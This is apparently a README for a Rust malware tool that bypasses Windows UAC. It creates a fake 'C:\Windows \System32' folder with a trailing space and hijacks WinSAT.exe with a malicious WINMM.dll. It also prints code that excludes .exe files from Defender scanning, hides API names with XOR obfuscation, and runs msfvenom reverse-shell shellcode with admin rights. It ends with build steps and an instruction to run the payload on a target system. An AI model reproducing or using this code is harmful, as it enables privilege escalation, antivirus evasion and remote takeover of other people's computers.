Windows auto elevates processes started from a trusted directory, like System32, so if you can inject a dll into a process started from there, you can bypass UAC. The bug being exploited here is that windows treats folders with a trailing space as the same folder in a way, which allows for auto elevation from a mock folder created with a trailing space like this "System32 /".
- First, a mock folder is created and a copy of WinSat.exe is placed there, and then the location of payload.exe is written to a registry key and payload.exe exits:
-
fs::create_dir_all(r"C:\Windows \") .and_then(|_| fs::create_dir_all(r"C:\Windows \System32\"))?; fs::copy(r"C:/Windows/System32/WinSAT.exe", r"C:/Windows /System32/WinSAT.exe");
-
let file_path: &String = &args().collect::<Vec<String>>()[0]; store_filename_in_registry(file_path.to_string());
-
- evil_dll is written to that mock folder
-
fs::write(r"C:/Windows /System32/WINMM.dll", EVIL_DLL)?;
-
- The copy of WinSAT is launched
-
let launch = Command::new("powershell.exe") .args(["-Command", ".\"C:/Windows /System32/WinSAT.exe\""]) .creation_flags(0x08000000) .output(); Ok(())
-
- WinSAT looks for WINMM.dll in the mock folder and loads it, but WINMM.dll is replaced with our evil_dll
- evil_dll executes the contents of DLLMain on load.
- In DLLMain:
- Antivirus is disabled with
powershell.exe -Command "Set-MpPreference -ExclusionExtension .exe" - The absolute path to payload.exe is looked up.
- payload.exe is executed with admin privileges using
Command::new("powershell.exe") .args(["-C","start-process",&filepath,"-Verb", "runAs"]) - evil_dll exits
- Antivirus is disabled with
- Back in payload.exe, now launched with admin privileges, the shellcode loading sequence starts:
- The address of VirtualAlloc is found using this, except all the strings are deobfuscated at runtime making use of repeating key XOR:
With obfuscation:
let kernel32string = CString::new("kernel32.dll").unwrap(); let virtualallocstring = CString::new("VirtualAlloc").unwrap(); let allocate = GetProcAddress( GetModuleHandleW( encode_wide("kernel32.dll".to_string()).as_ptr() ), virtualallocstring.as_ptr() );
let kernel32string = CString::new(de_xor(&[17, 60, 59, 0, 50, 62, 114, 83, 67, 46, 32, 7],&[122, 89, 73, 110, 87, 82, 65, 97, 109, 74, 76, 107, 87, 106, 75])).unwrap(); let virtualallocstring = CString::new(de_xor(&[5, 45, 28, 60, 31, 25, 29, 32, 26, 63, 31, 26],&[83, 68, 110, 72, 106, 120, 113, 97, 118, 83, 112, 121, 107, 76, 110])).unwrap(); let allocate = GetProcAddress( GetModuleHandleW( encode_wide(de_xor(&[17, 60, 59, 0, 50, 62, 114, 83, 67, 46, 32, 7],&[122, 89, 73, 110, 87, 82, 65, 97, 109, 74, 76, 107, 87, 106, 75]).to_string()).as_ptr() ), virtualallocstring.as_ptr() );
- The shellcode, stored in a global const is decoded from repeating key XOR.
- The shellcode is placed in memory using the RtlCopyMemory function,
- The pointer to that shellcode is turned into a funciton pointer using mem::transmute
- The shellcode is executed with admin privileges.
- The mock folder is cleaned up.
- The address of VirtualAlloc is found using this, except all the strings are deobfuscated at runtime making use of repeating key XOR:
- msfvenom for generating payloads, although you could easily modify shellcode_generator to make use of your own payloads
- Generate a shellcode with
shellcode_generator <reverse shell ip> <reverse shell port> - Build evil_dll with
cargo build --release- if you are on a different platform, build with
cross build --release --target=x86_64-pc-windows-gnu
- if you are on a different platform, build with
- Build payload.exe with
cargo build --release - Run payload.exe on the target system and watch the magic happen!